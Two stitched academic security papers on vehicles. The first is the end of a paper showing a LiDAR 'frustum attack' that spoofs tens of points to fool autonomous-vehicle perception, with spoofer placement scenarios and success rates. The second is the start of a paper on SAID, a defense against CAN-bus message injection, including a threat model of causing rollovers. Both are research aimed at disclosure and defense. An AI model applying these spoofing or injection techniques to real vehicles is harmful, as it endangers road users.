
Apollo Evasive Maneuvers. Besides our testing of the frus-
tum attack in front of the target vehicle on Apollo (Sec. 6.2),
we intended to test the frustum attack in the shadow region
(i.e., behind target) since the shadow is more vulnerable to
attack, as identified in Sec. 5.3.2. However, this was not at-
tainable with Apollo’s capabilities. We observed that Apollo
has minimal ability to execute any evasive maneuvers, even
when we aimed a target car heading straight for Apollo using
ground-truth perception data. This is consistent with findings
from evaluations of limitations of Apollo capabilities [42].

Optical Engineering and Dynamic Spoofing. The frustum
attack is logistically possible in the scenarios described in
Sec. 5.2. While these commonly occur in everyday driving,
only three are technically feasible with today’s technology,
and only two have thus been demonstrated - those also used
static spoofer and static victim. The current experiments have
not shown attack feasibility when there are relative distance
and angle changes between the spoofer and the victim. In all
five targeted attack scenarios in Fig. 22, the victim should
be moving to cause serious attack consequences. This would
require the spoofing device to dynamically track and aim at
the victim, and this engineering feat has not yet been fully
demonstrated, with some recent progress in this direction [17].

7.2 Future Work
Shadow Vulnerability. The shadow region, a subset of the
frustum behind the target object, is an important element for
the frustum attack success. Future work will explore in detail
the low-level behavior of the perception DNNs to illuminate
why the shadow is so vulnerable, including possibilities of
overfitting or intrinsic vulnerability of free space.
Defenses. We evaluated state-of-the-art defenses against Li-
DAR spoofing and found none are suitable to protect against

Figure 15: Frustum attack achieved on AV running Baidu
Apollo software using perception data from LGSVL simulator
with setup matching the physical experiment from Section 5.2.
Target vehicle (white) detected throughout by image-detection
pipeline. Target vehicle initially detected by LiDAR percep-
tion (blue) and followed by Apollo. When spoofing happens,
Apollo detects spoofed points as new object (red); thus, un-
necessarily engages emergency brakes and stops mid-lane.

the frustum attack. Future works will propose defenses capa-
ble of defending against the frustum attack.

Generalization. The high degree of frustum attack success
and the large number of evaluations performed suggests that
a single choice of attack parameters can generalize across per-
ception algorithms. However, this belief has only been tested
implicitly using consistent attack parameters in the large-scale
study. Future works will explicitly consider the success of
transferring specific attack traces between algorithms.

8 Conclusion
In this work, we exposed the vulnerability of LiDAR-only

perception and camera-LiDAR fusion to the frustum attack:
small-scale (i.e., tens of points) LiDAR spoofing in-view of ex-
isting, valid objects. We evaluated the frustum attack on three
distinct LiDAR-only architectures and five models within
three different architectures of camera-LiDAR fusion, includ-
ing fusion at the semantic, feature, and tracking levels. Within
each class, we used single-sensor and sensor fusion algorithms
from top-performers on popular datasets ( [27, 28, 30–33]),
established benchmarks ( [27–29, 31]), and algorithms repre-
sentative of leading end-to-end, full-stack industry pipelines
( [6, 27, 28]). We demonstrated a singular attack model ca-
pable of compromising each class perception in AVs. The
attack model is black-box; furthermore, it does not require
any knowledge of the perception algorithm. Such broad suc-
cess with a black-box attack model illuminates a systematic
vulnerability across both LiDAR-only and camera-LiDAR
perception algorithms.
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A Existing Attacks and Defenses
A.1 Naive Spoofing on LiDAR-only Perception

We implement the naive spoofing of [10, 11] with the at-
tack model described in Section 5.2. We follow [11] to evalu-
ate the attack success; i.e., we selected 5 attack traces using
{10, 20, ...200} points per trace over multiple trials for 100
attack evaluations, and placed the spoofed points in front-near
positions, 5−8 m from the victim vehicle. We extend the eval-
uation to outside of the front-near when evaluating defenses.
Attack Success Rate (ASR) for FP outcomes is defined as the
fraction of times a fictitious object is detected over the number
of targeted attempts (e.g., number of spoof point clusters), as
there could be more than one FP per frame. Similarly, we
define the FN ASR as the fraction of times an object is missed
over the number of attempts.

Our results, summarized in Fig. 16, confirm the success of
the naive black-box spoofing attacks. The ASR is consistently
high when 60 or more spoof points are used for all LiDAR-
only algorithms showing that each of the 3 architectures are
deeply vulnerable to spoof injections in front-near positions.

A.2 Existing Defenses against LiDAR Spoofing
We reproduce the state-of-the-art defenses against LiDAR

spoofing; we showed that both CARLO and SVF dramatically
reduce the ASR in front-near positions, while ShadowCatcher
has challenges defending naive attacks (see Figs. 17 and 18).
Note that SVF requires model-level changes and expensive
retraining which are not possible with all the tested perception
algorithms. Thus, we rearchitect and retrain PointPillars with
SVF, following the approach from [11].

While the ShadowCatcher defense is impressively simple,
we do not expect to obtain the high accuracy reported in [20].
The reason is that the original work made several assumptions
that are unrealistic, including tuning parameters on the test
set, using ground truth bounding boxes instead of outputs of
a perception algorithm, which significantly alters the shadow-
region estimation noise, and only testing on 200 scenes with
only three selections of 200 spoofed points. Still, we repro-
duced the original ShadowCatcher defense and obtained not as
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Figure 16: Naive spoofing attacks against LiDAR-only percep-
tion: Reproduced naive black-box spoofing attacks from [11]
applied to LiDAR-only perception, one method from each of
the three LiDAR-only architecture categories from Table 1.

Figure 17: Naive spoofing attacks on LiDAR-only perception
with CARLO: CARLO guards LiDAR-only perception against
naive black-box spoofing attacks only in front-near positions.

Figure 18: Naive spoofing attacks on LiDAR-only percep-
tion with SVF: SVF guards LiDAR-only perception against
naive black-box spoofing in front-near positions. SVF re-
quires rearchitecting the perception model which is not feasi-
ble for every algorithm. We test SVF-modified PointPillars.

Figure 19: Naive spoofing attacks on LiDAR-only perception
with ShadowCatcher: ShadowCatcher has limited ability to
guard against LiDAR spoofing attacks presented in [11] due
to difficulty handling noisy shadow estimation.

strong detection results without these assumptions (Fig. 19).

B CARLO Vulnerabilities
We described in Section 4.1.1 that CARLO introduces vul-

nerability to FP attacks outside front-near and FN invalidation

Figure 20: ROC for FP attack on CARLO using PointPillars
as perception with (left) 60 and (right) 200 spoofed points.

Figure 21: The CARLO defense is vulnerable to FN attacks.
Classification of valid objects significantly degrades when
randomly spoofing 200 points behind valid objects, as well as
when range to target object increases.

attacks. Here, we provide additional quantitative analysis.
To evaluate CARLO outside front-near, we collect receiver

operating characteristics (ROC) on CARLO’s ability to dis-
tinguish between valid and spoof objects placed at different
ranges from the victim AV; the results are presented in Fig. 20.
As in [11], we use PointPillars for this test; yet, CARLO is
model-agnostic and these results generalize across other al-
gorithms. We observe that, as range of the spoofed objects
increases, CARLO’s classification performance deteriorates
(i.e., the defense breaks) and the ROC curve moves towards
the center; e.g., in the case of 200 spoof points at 30 m (green),
CARLO is similar to the random-guessing classifier.

Similarly, to test the FN invalidation attack, we collect ROC
curves where each curve represents the range to the targeted
valid object in Fig. 21. For each object, we record the range to
that object, add 200 spoof points in a random pattern behind it,
run CARLO on the detected result, and check if it invalidated
the true object. We find that CARLO’s performance against
the invalidation attack deteriorates when true objects are at an
increased range from the victim, likely due to the decreased
density of LiDAR points when objects are farther away.

C Spoofing Scenarios for Frustum Attacks
We illustrate common situations where vehicle configura-

tions enable frustum attack spoofing (Fig. 22); the specific
scenarios are described in Sec. 5.2. We execute the physical
experiment in Section 5.2 corresponding to the scenario in
Fig. 22b and similar to the scenario in Fig. 22a. We also per-
form the longitudinal case study in Sec. 6.2 in accordance
with the scenario from Fig. 22b. Anticipated advances in opti-
cal technology and tracking will soon enable spoofing points
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(a) Spoofer placed on target vehicle and points spoofed in LOS.

Victim vehicle

Target vehicle
Frustum

Frustum

Spoofer

Other vehicle
Spoof points in front 

or behind target

(b) Spoofer placed on larger vehicle in front of target, pointing in
LOS.

Victim vehicle
Target vehicle

Frustum

Frustum
Spoofer

Other vehicle

Spoof points in front or 
behind target

(c) Spoofer placed on other vehicle in nearby lane, pointing out of
LOS.

Victim vehicle Target vehicle

Frustum
Frustum

Spoofer

Spoof points in front or 
behind target

(d) Spoofer placed in environment e.g., on roadside obstacle, in
LOS (e.g., on bridge) or out of LOS (e.g., on roadside)

Figure 22: The frustum attack in everyday driving scenarios.
Adversaries can place a spoofer on target car, on other cars,
or on roadside obstacles, placing points anywhere along line-
of-sight (LOS) (e.g., in front or behind the target car).

outside of line-of-sight as demonstrated in e.g., [16].

D Impact of Spoof Point Placement
Prior works required spoofed points to be placed in patterns

of occluded vehicles [11]. Here, we show that spoofing in a
normally-distributed pattern for the frustum attack can have
success nearly matching using occluded traces.

In Fig. 23, we compare the attackability of FPN perception
when using the two spoof point generation methods (similar
results are also obtained for the other aforementioned percep-
tion algorithms). We first provide a comparison of the fraction
of instances where an attack succeeds using both methods, as
function of the distance to the target (Fig. 23-left) As can be
observed, it is difficult to distinguish between the performance
of the two methods (random points vs. car-pattern).

We further provide an analysis of the attackability as a func-
tion of the number of points in the target objects’ bounding
box (Fig. 23-right) We define attackability as the ability to
find an attack that succeeds within the attacker-specified capa-
bilities. Both methods perform similarly, with a small benefit
of car patterned injections at medium range. This improve the
feasibility of LiDAR-based spoofing, as a normally distributed
pattern does not require unrealistically careful placement of
spoof points, and is robust to small displacements.

Figure 23: Spoofing in a Gaussian random pattern (Table 2)
achieves performance on-par with using an occluded car pat-
tern; we test spoofing patterns on FPN and show dependence
of attackability on (left) range to target and (right) number of
points in target object bounding box with histogram showing
frequency (%) of occurrence of such objects in KITTI.

(a) Full point cloud with ground truth object box at 16 m (white)

(b) Frustum with original and spoof points - detection (red) at 20 m

(c) Frustum with original and spoof points - detection (red) at 24 m

(d) Frustum with original and spoof points - detection (red) at 27 m

Figure 24: Target object (front, white box) at 16 m with 492
points in bounding box. Just 65 points alter the target vehicle’s
location and achieve detections (translations) using FPN.

E Frustum Attack By Range to Target
Fig. 12, in Section 5.3.2, summarizes the frustum attack

performance against the AVOD perception algorithm for dif-
ferent parameter combinations. Here, we provide the results
for all other aforementioned algorithms (Fig. 25). The ma-
jority of algorithms are vulnerable to frustum attacks both in
front and behind the targeted object. In general, attack success
increases as the range to the target object increases (left to
right in a row), with low attack success for all algorithms when
attacks occur near the target object; this is expected as the
original object and false positive will be "merged" (i.e. only a
single detection) once they are on top of each other.

F Longitudinal Frustum Attack Visualizations
Spoofing points in successively changing distances causes

the FP injection to appear to travel longitudinally. Fig. 24
shows a BEV visualization of such a longitudinal attack where
the perception detects motion of the spoofed points (red).
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Figure 25: Frustum attack success rate against all perception algorithm for different parameters (i.e., number of spoofed points,
target vehicle range, distance of spoofing behind the target) combinations, tested on all objects in KITTI validation set. Each
tested algorithm (row) is widely vulnerable to the frustum attack. ASR depends on the range to the target vehicle (column). Note
a dead-zone near the target vehicle (i.e. relative distance=0) where attacks do not succeed and increased ASR as target range
increases. Most algorithms are vulnerable to spoofing both in front (< 0 on x-axis) and behind (> 0 on x-axis) target objects.
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Abstract

Modern vehicles are equipped with many ECUs (Electronic
Control Unit) that are connected to the IVN (In-Vehicle Net-
work) for controlling the vehicles. Meanwhile, various inter-
faces of vehicles, such as OBD-II port, T-Box, sensors, and
telematics, implement the interaction between the IVN and ex-
ternal environment. Although rich value-added functionalities
can be provided through these interfaces, such as diagnostics
and OTA (Over The Air) updates, the adversary may also
inject malicious data into IVN, thus causing severe safety is-
sues. Even worse, existing defense approaches mainly focus
on detecting the injection attacks launched from IVN, such
as malicious/compromised ECUs, by analyzing CAN frames,
and cannot defend against the higher layer MIAs (Message In-
jection Attacks) that can cause abnormal vehicle dynamics. In
this paper, we propose a new state-aware abnormal message
injection attack defense approach, named SAID. It detects the
abnormal data to be injected into IVN by considering the data
semantics and the vehicle dynamics and prevents the MIAs
launched from devices connected to the vehicles, such as the
compromised diagnostic tools and T-boxes. We develop a
prototype of SAID for defending against MIAs and evaluate
it using both real road data and simulation data. The experi-
mental results show that SAID can defend against more than
99% of the network and service layer attack traffic and all
state layer MIAs, effectively enforcing the safety of vehicles.

1 Introduction

Modern vehicles comprise many software-driven ECUs (Elec-
tronic Control Unit), sensors, and actuators [73], which im-
plement the functionalities of the vehicle and are in charge of
controlling the vehicle, such as ABS (Anti-lock Brake Sys-
tem), entertainment system, etc. They are connected to the
IVN (In-Vehicle Network), such as CAN (Controller Area Net-
work), LIN (Local Interconnect Network), or FlexRay [74].
Since CAN, the de facto standard, has been widely used in

⇤The corresponding author.

modern vehicles, we focus on CAN in this paper, but our
methodology can be applied to other IVNs.

The attacks on the IVN or ECUs can seriously endanger
driving safety. As more and more vehicles provide interfaces
(e.g., OBD-II, T-Box, etc.) to communicate with the exter-
nal entities (e.g., diagnostic devices, network, and sensors),
an increasing number of adversaries exploit such new attack
surfaces to attack the vehicles. For instance, it has been re-
ported that attackers can remotely control a Jeep running on
the highway at 70 miles per hour [14]. As another example,
by exploiting the vulnerabilities in the aftermarket vehicle
diagnostic tools, researchers demonstrated how to remotely
control the vehicle’s doors, windows, and mirrors [58]. More-
over, the Tesla Model S and X cars were hacked by security
analysts, who remotely controlled the maneuvers [15]. All
these attacks were launched by injecting specific data into the
vehicle’s IVN through its exposed interfaces.

To protect the IVN from MIAs (message injection attacks),
existing countermeasures can be divided into two categories:
message authentication and intrusion detection [43]. The for-
mer uses various cryptography mechanisms to exclude unau-
thorized commands [57, 69, 80, 89, 94, 97]. Unfortunately, it
is not easy to deploy them in practice due to the limited com-
putation resources of ECUs. Moreover, they cannot prevent
the compromised ECUs from sending attack messages. The
latter employs many features to capture abnormal attack pat-
terns, such as the entropy of IVN [70], message intervals [64],
message correlation/consistency [71], ECU fingerprints [29],
communication characteristics [34], etc.

However, existing IDS (Intrusion Detection System) ap-
proaches have the following limitations and thus cannot effec-
tively defend against MIAs. First, they focus on CAN frames at
low IVN layer (e.g., bus-off attack [34]) and therefore miss the
attack messages exploiting higher layer diagnostic services
because such messages are usually transmitted by normal
CAN frames. Second, they capture the abnormal data accord-
ing to statistic characteristics without semantic and context
information, and hence can be easily evaded. Third, since the
existing solutions do not consider vehicle states, they cannot
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detect the attack messages injected during particular vehicle
states, such as turning off turn signals while cornering.

In this paper, we propose a new approach, named SAID, to
defend against MIAs. Following the defense in depth princi-
ple, SAID scrutinizes the incoming messages at three layers
due to the multi-layer model adopted by IVN data transmis-
sion. SAID decides whether a well-formed incoming message
is benign according to the safety consequence it causes in the
current message context and vehicle states, and thus SAID
takes into account both the message context and the vehicle
states. More precisely, SAID first detects the abnormal CAN
frames at the network layer. Then it assembles the passed CAN
frames into diagnostic messages and identifies the abnormal
ones at the service layer. After that, at the state layer, it de-
termines whether the messages should be allowed according
to their semantics and the vehicle states, which are estimated
based on the vehicle dynamics models and specified rules.
It is worth noting that, SAID is deployed between the IVN
and the out-vehicle entities. Although it focuses on defending
against the MIAs launched from out-vehicle entities, it can
also detect the anomalies caused by in-vehicle ECUs/sensors
or the unusual states under the control of drivers.

It is non-trivial to design SAID because of two major chal-
lenging issues. C1: Sophisticated attack messages may cause
severe safety consequences in specific driving states and can
easily evade the existing detection methods with the right for-
mats. For example, a compromised OBD-II dongle can cause
rollover or side slip through injecting acceleration messages
continuously during cornering. Therefore, we need to esti-
mate the dynamic vehicle states and further design proper
policies to detect such injected well-formatted malicious mes-
sages, which requires the lightweight and timely driving state
estimation approach. C2: Similar to the OSI (Open System
Interconnection) model, the IVN also adopts a multiple-layer
architecture, and thus the adversary can inject well prepared
data at different layers for various attack purposes, such as in-
jecting high priority CAN frames for DoS (Denial of Service)
attack and diagnostic messages for fuzzy testing the security
key. To effectively defend against the attacks launched at all
these layers, we need to consider both the multiple-layer char-
acteristic of IVN and the communication protocols used at
different layers.

In this paper, we leverage various novel detection mecha-
nisms and designs to address these challenges. Particularly,
to approach C1, we propose a new lightweight approach to
estimate the dynamic vehicle states timely using three vehi-
cle dynamics models (§4) and further analyze the injected
messages considering both the vehicle states and the message
semantics. Meanwhile, we collect context information from
both IVN and onboard sensors for state estimation. To address
C2, we design specific abnormal message detection policies
for each layer considering the communication characteristics
(§5). Also, we take into account the dependencies between
these layers and adopt a cross-layer architecture to manage

Driver or 
Autopilot System

Vehicle 
Dynamics

Vehicle
 Motion

Control React

Adversary
Inject

ion Attacks
Accidents

Figure 1: The control of vehicle dynamics.

and implement them.
Overall, we make the following major contributions.

• We propose a novel approach named SAID to defend against
the MIAs from external entities. To the best of our knowl-
edge, it is the first approach that considers both vehicle
states and message semantics and conducts multi-layer
screening to defend against sophisticated injection attacks.

• We develop a prototype of SAID and deploy it on real
vehicles by solving a series of challenging issues, such
as vehicle state estimation and cross-layer malicious mes-
sage detection. Both code and datasets can be accessed at
https://github.com/rewhy/said.

• We evaluate SAID using professional simulation software,
real vehicles, robotic cars, and a well-designed testbed. The
experimental results show SAID can effectively defend
against the injection attacks to IVN. For example, SAID
can prevent all state layer attacks and filter out more than
99% network and service layer attack traffic.

2 Background

This section briefly introduces the necessary background
about vehicle dynamics, CAN, and diagnostic services.
Vehicle Dynamics: Vehicle Dynamics is defined as the ap-
plication of the physical laws to a vehicle in motion [9]. As
shown in Fig. 1, the vehicle dynamics models the reactions
of the vehicle to the inputs from the drivers or the autopilot
systems. That is, it studies how the motions of the vehicle are
triggered by the actions of steering, accelerating, and brak-
ing [19]. Overall, the vehicle dynamics can be divided into
lateral dynamics, longitudinal dynamics, and vertical dynam-
ics, considering the abnormal dynamic vehicle states (i.e.,
accidents in Fig. 1) that can be prevented [99], such as side
slip and rollover. In this paper, we aim to defend against MIAs
by applying the vehicle dynamics models to checking whether
the incoming messages will cause anomalies, and then the
messages causing abnormal dynamic states are discarded.
Control Area Network (CAN): In a vehicle using CAN bus,
many ECUs are connected to it and exchange messages for
controlling the electrical modules of the vehicle, such as the
engine control module (ECM) [48]. The communication fol-
lows the CAN protocol (ISO 11898 [40]), which specifies the
first and the second layers of the OSI (Open System Intercon-
nection) model. This is a frame-based protocol with a typical
speed of 500 kbit/s [40]. The CAN frames are broadcast to all
ECUs connecting to the CAN bus, and the ECUs just process
the frames targeted to themselves and ignore others.
Diagnostic Services: The diagnostic services provide a set of
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functions, such as test, inspection, monitoring, diagnosis, or
programming of the in-vehicle sub-systems. Besides the OBD
(On-board diagnostic) services for the mandatory emissions-
related diagnostics, there are two popular diagnostic services,
namely UDS (Unified Diagnostic Services) and DoCAN (Di-
agnostic communication over CAN). Each diagnostic service
involves at least three types of diagnostic messages, including
requests, positive responses, and negative responses.

3 Overview

This section first presents our threat model and then gives an
overview of our new defense approach against MIAs.

3.1 Threat Model

In this paper, we aim at defending against the attacks that
inject abnormal data/messages into IVN from out-vehicle en-
tities (e.g., telematics, OBD-II ports, T-Box, and sensors) [20,
23, 44, 58, 65, 96, 97, 102]. We focus on the MIA launched
from out-vehicle entities with two goals.
Functional Attacks (MIA-∂): They aim to cause malfunc-
tions on the IVN by injecting attack traffic, such as spoofing,
DoS (Denial of Service), bus-off, and fuzzy attacks, which
do not require the adversary has much knowledge about the
IVN communication protocols [21, 26, 62, 75, 92, 100]. For
instance, by exploiting the vulnerable error-handling scheme
of CAN bus, the adversary can inject specific CAN frames to
disconnect or shutdown the target ECU [28].
State Attacks (MIA-∑): They aim to cause abnormal vehicle
states and motions, such as rollover, side slip, and turning
without any turn signal. Such attacks always require the ad-
versary has rich knowledge of the target vehicles because
he/she needs to inject special messages into IVN to control
the vehicle [14, 15, 58]. For example, by hacking the OBD-II
port, an adversary can make a vehicle rollover by injecting
well prepared messages into IVN to persistently accelerate
while cornering [14, 15, 58]. Also, an adversary can let the
vehicle enter abnormal states by spoofing the sensors (e.g.,
accelerator, GPS, and cameras) [22, 50, 84].
Assumptions: SAID is implemented on the specific hardware
equipped with basic sensors (i.e., gyroscope and accelerom-
eter). We assume both the software and hardware of SAID
are reliable and the DBC file of the IVN is available, which
provides a way to parse the IVN messages [101]. During dy-
namic state estimation, the vehicle is assumed to have planar
motions, and the hardware of SAID locates at the center of
gravity (cg) of the vehicle. The cg does not vary much with
the changes of passengers in the vehicle because the weight of
the passengers is much lighter than that of the vehicle. Since
the vehicle parameters provided by the manufacturers contain
the distances from the front wheel axle and rear wheel axle
to the cg of the vehicle, denoted by l f and lr respectively, we
can determine the cg of the vehicle.

Defense Scenario: SAID defends against the MIAs launched
from out-vehicle entities. Although it does not prevent in-
vehicle ECU/Sensor from transmitting data, it can detect the
anomalies caused by them and also warn the driver. Con-
sequently, if a suspicious/unusual state is controlled by the
driver, SAID will warn the driver about it but not prevent it.

3.2 Defense Approach

To defend against the two types of MIAs, SAID is deployed
between the IVN and the out-vehicle entities. SAID inspects
all incoming data at three layers (i.e., network layer, service
layer, and state layer) because IVN adopts a multi-layer model
with diverse protocols at each layer.

At network layer and service layer, SAID defends against
MIA-∂ through inspecting the incoming CAN frames and di-
agnostic messages, respectively. More precisely, SAID scruti-
nizes the incoming data, including CAN frames and diagnostic
messages, according to the protocol specifications at network
layer and service layer, respectively. Meanwhile, SAID also
detects functional attacks according to the specified detection
rules for these two layers.

At state layer, SAID defends against MIA-∑ by estimating
the vehicle states and parsing the semantics of the incoming
messages. Particularly, for the injected well-formatted mes-
sages, SAID inspects whether they will trigger abnormal vehi-
cle states, including dangerous vehicle motions (e.g., rollover
and slide slip) and abnormal driving behaviors (i.e., opening
doors on the highway and turning off signals during corner-
ing). We estimate the vehicle states leveraging the vehicle
dynamics models and further defend against MIAs using both
rule-based and dynamics-based defense policies.

It is worth noting that vehicle manufacturers usually en-
deavor to enhance the vehicle’s dynamic safety. In the trend of
‘control-by-wire’ and autonomous driving, many prior works
demonstrated attacks that can take control of the vehicle.
Therefore, it is also important to protect the vehicle’s dynamic
states from the cyber-security aspect, and furthermore the dy-
namic safety is also the last line of defense for cyber-security.
Our dynamics-based method focuses on the detection of at-
tack messages that are injected to trigger dangerous dynamic
states, such as the vehicle state of ‘loss of control’. Hence, we
estimate the dynamic states of the vehicle and further utilize
representative indices of the dynamic states to indicate the
dynamic risks.
L1. Network Layer: In IVN (i.e., CAN), all data is transmit-
ted in CAN frames at network layer and thus SAID detects
abnormal CAN frames at this layer according to the poli-
cies derived from the protocol specifications, research pa-
pers, and technical reports. More precisely, SAID first checks
whether the incoming CAN frames have legitimate formats
and are transmitted following the protocol specifications [1].
For the legitimate frames, SAID further inspects whether they
are injected for specific network attacks, such as DoS at-
tacks and fuzzy attacks, according to their transmission pat-
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tern [26, 52, 61, 70, 85]. If the CAN frames pass all network
layer detection rules, SAID assembles them into diagnostic
messages following the single-frame or multiple-frame trans-
mission schemes and then delivers them to the service layer
for further inspection.
L2. Service Layer: The service layer involves various diag-
nostic messages to transmit requests and receive responses.
We prepare defense policies according to the protocol speci-
fications (i.e., ISO 15031-5 [7], ISO 14229-1/2/3 [4–6], and
ISO 15765-3/4 [2, 3]), and then apply them to detect attack
messages violating the prescribed formats and transmission
protocols (§5.2). The messages passing the service layer poli-
cies are further inspected at the state layer.
L3. State Layer: At state layer, SAID inspects the incoming
messages considering both their semantics and the vehicle
states. If the incoming message will let the vehicle enter an
abnormal state, SAID will refuse it and raise a warning. The
states estimated by SAID include both the vehicle motions
(e.g., roll, steering, and accelerating/braking) and the status of
the vehicle components (e.g., windows, signals, and doors).

During vehicle state estimation, we continuously retrieve
the context information from onboard sensors and IVN via
the diagnostic services, and leverage them to identify the cur-
rent vehicle motions following the vehicle dynamics models,
including roll dynamics, steering dynamics, and accelerat-
ing/braking dynamics. During defense, we parse the seman-
tics of the incoming message and then determine whether it is
allowed to enter into IVN based on its semantics and the vehi-
cle states. Particularly, if a message will let the vehicle enter
dangerous motions or violate any predefined driving policies,
SAID discards it and raises a warning. For instance, if a mes-
sage will increase steering angle when the vehicle is already in
a dangerous roll state, it will be dropped, and meanwhile, the
driver will be informed of the details with a warning message.
If the messages are gradually injected to cause anomalies not
exceeding thresholds, the dynamics-based defense does not
refuse them because no dynamics-based policy is violated,
but they could be detected by other defense policies (e.g.,
network/service layer defense).

We design the vehicle state estimation algorithms based on
vehicle dynamics models (§4) and construct the state layer
defense policies by surveying the economic driving sugges-
tions [11–13], safe driving requirements [10, 16, 17], as well
as the auto insurance pricing policies [55, 59, 83] (§5.3).
Synergies: The state-aware detection provides state infor-
mation for rule-based (i.e., network and service layer) de-
fense, which makes decisions considering the vehicle states.
Meanwhile, the rule-based defense module extracts message
semantics for state-aware detection, thereby improving its ef-
fectiveness. Also, SAID collects onboard context information
(accelerations and angular velocities) and in-vehicle context
information (speed, steering angles, etc.) for state-aware de-
tection, which uses the context information to estimate the
vehicle dynamic states and further leverage such state infor-

Z axis 

Y axis 

X axis 

Roll 

Pitch 

Yaw 

Figure 2: Vehicle rollover dynamics and axis system.

mation to decide whether the messages that have passed the
network defense policies can be sent to IVN.

4 Vehicle Dynamics Model

We focus on the vehicle dynamics involving roll, steering,
and accelerating/braking, which closely depends on the con-
trol inputs related to throttle, steering wheel angle, and brake,
to detect the relevant attack messages. This section presents
three vehicle dynamics models, including roll dynamics (RD),
steering/yaw dynamics (SD), and accelerating/braking dynam-
ics (BD), as well as the criteria for anomaly detection.

4.1 Roll Dynamics (RD)

The term rollover index is used to indicate the real-time
likelihood of the vehicle to rollover in vehicle roll dynamics.
To defend against the MIAs that cause rollovers, we calculate
the rollover index using the real-time difference in vertical tire
loads between left and right sides of the vehicle [81], which
is also known as vertical load transfer ratio (LT R). The right
subfigure of Fig. 2 shows the vehicle coordinate, where we
use ax, ay, and az to represent the accelerations on the x-axis,
y-axis, and z-axis directions. The left subfigure depicts the
schematic of a vehicle with a sprung mass that undergoes roll
motion, where h, `w, and f denote the height from ground
to the roll center of the vehicle, the track, and the roll angle,
respectively. Eq. (1) is used to calculate the LT R based on the
difference between the vertical tire forces Fzr and Fzl , which
are caused by the roll motion.

LT R =
Fzl �Fzr
Fzl +Fzr

(1)

As shown in Fig. 2, the vertical forces on the left tires
(i.e., Fzl) increase while the vertical forces on the right tires
(i.e., Fzr ) decrease when the vehicle has a positive roll angle
(i.e., f > 0), and hence right tires will lift off the ground
(i.e., Fzl = 0) when f is large. Likewise, if f has a significant
negative value, the left tires will lift off the ground (i.e., Fzr =
0). Consequently, the tire lift-off happens when Fzl = 0 or
Fzr = 0, corresponding to LT R= 1 or LT R=�1, respectively,
and therefore LT R is in range (�1,1) to prevent rollover.

The calculation of LT R is not straightforward because we
cannot obtain Fzl and Fzr directly. Since the left and right
tires are two support points, the vehicle lateral dynamics can
be characterized by Eq. 2 and 3 approximately according to
torque equilibrium. By combining Eq. 1, 2, and 3, LT R can
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be calculated through Eq. 4.

Fzr · `w +may ·h · cosf+maz ·
`w
2

· cosf = 0 (2)

Fzl · `w �may ·h · cosf+maz ·
`w
2

· cosf = 0 (3)

LT R =
Fzl �Fzr
Fzl +Fzr

=
2ayh
az`w

(4)

Criterion: For vehicle roll stability and early warning, the
LT R should be kept in a special range. That is, ay and az
should meet the requirement represented by Eq. 5, where
LT Rro is the threshold for safe roll motions, and its default
value is 0.6 according to [56]. Thus, when Eq. 5 is not met,
the vehicle has a high risk of rollover. Moreover, the risk
increases with the increments of vehicle speed va and steering
angle d because ay depends on them. When |LT R| is 1, the
tires of one side will lift off the ground.

����
ay

az

����<
`w
2h

·LT Rro (5)

4.2 Steering (Yaw) Dynamics (SD)

An adversary can cause steering dynamics, such as severe
under/oversteer, during cornering by injecting specific mes-
sages [8]. Particularly, if the wheels of the vehicle begin to
side slip (i.e., loss grip) when cornering, the vehicle is in
understeer or oversteer. In practice, the low under/oversteer
is common and not noticed by the drivers, and the severe
under/oversteer can let feel “loss of vehicle control”. Also,
when severe under/oversteer occurs, the actual tire track will
be obviously different from the driver’s intended track, and
such a state is difficult to correct. Raimondo et al. [82] ana-
lyzed 1,674 accidents in 5 European countries from EACS
(European Accident Causation Survey) and showed that many
accidents causation was identified as “loss of vehicle con-
trol”. In particular, the causation of around 50% of injury
accidents occurring in cornering and around 18% of injury
accidents occurring in straight lines is because the driver loses
control of his/her vehicle, either laterally (i.e., slide slip) or
longitudinally (e.g., wheels are locked during braking).

To defend against such attacks, we leverage steering dynam-
ics to identify the incoming messages that can cause oversteer
or understeer, which is depicted by the right part of Fig. 3.
Specifically, understeer indicates that the required grip ex-
ceeds the traction of the front tires and the vehicle head slides
wide across the ground; Oversteer means that the required
grip exceeds the traction of the rear tires, and the vehicle tail
slides wide.

di = arctan(
L

r� `w
2
) (6)

do = arctan(
L

r+ `w
2
) (7)

The vehicles use the Ackermann steering geometry, and the
front tires are the steering wheels [53]. As shown in the left
part of Fig. 3, during cornering, the front inner tire steers for a

Oversteer

Understeer

ICR

Figure 3: Ackermann steering geometry and under/oversteer.

bigger angle than the front outer tire in order to let the vehicle
rotate around the middle point between the rear tires, and
there exists a common point, called the instantaneous center
of rotation (ICR), lying in the intersection of all tire axes. In
Fig. 3, we use di, do, and d to represent the steering angles
of the front inner tire, the front outer tire, and the vehicle
heading direction, respectively. L and r are the wheelbase and
the turning radius of vehicle, respectively, and `w is the track.

During cornering, the steering angles can be determined by
Eq. 6 and 7. Since L and `w are small compared to r, these two
equations can be approximated by Eq. 8 and 9, and then the
neutral steering angle of the vehicle dneutral can be obtained
by Eq. 10. Note that the neutral steering angle dneutral is the
required steering angle to turn around the ICR if there is no
side tire slip [49]. Understeer occurs if |d|< |dneutral |, where
d is the actual vehicle steering angle and obtained through
dividing the steering wheel angle by steering wheel ratio dw/l.
Inversely, oversteer occurs if |d|> |dneutral |.

di ⇡
L

r� `w
2

(8)

do ⇡
L

r+ `w
2

(9)

dneutral ⇡
di +do

2
⇠=

L
r

(10)

If the cornering speed is constant, the centripetal acceler-
ation ay of the vehicle is calculated by Eq. 11, and we can
further get Eq. 12 by substituting Eq. 10 and 11.

ay =
Vx

2

r
(11)

dneutral ⇡
L ·ay

Vx
2 (12)

Criterion: It is worth noting that small understeer or oversteer
is common. To prevent abnormal steering motions, we regard
the cases when d is larger than 1.2 · |dneutral | and smaller than
0.8 · |dneutral | as severe oversteer and severe understeer, re-
spectively. When severe oversteer occurs, the driver needs
to reduce the throttle or brake as well as the steering wheel
angle, but the driver should not suddenly change the throt-
tle, brake, or steering wheel angle when the understeer oc-
curs [38]. Therefore, the increases of throttle, brake, and steer-
ing wheel angle are abnormal in the oversteer state, and any
quick change of them is abnormal in the understeer state.
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Figure 4: Vehicle tire slip geometry.

4.3 Accelerating/braking Dynamics (BD)

Tire slip occurs when accelerating and braking, and it rep-
resents the difference between the actual speed at the axle of
the vehicle and the rotational speed of the tire. The total slip
S consists of longitudinal slip and lateral slip [49], denoted
by Sx and Sy, respectively. The total slip ratio s is the vector
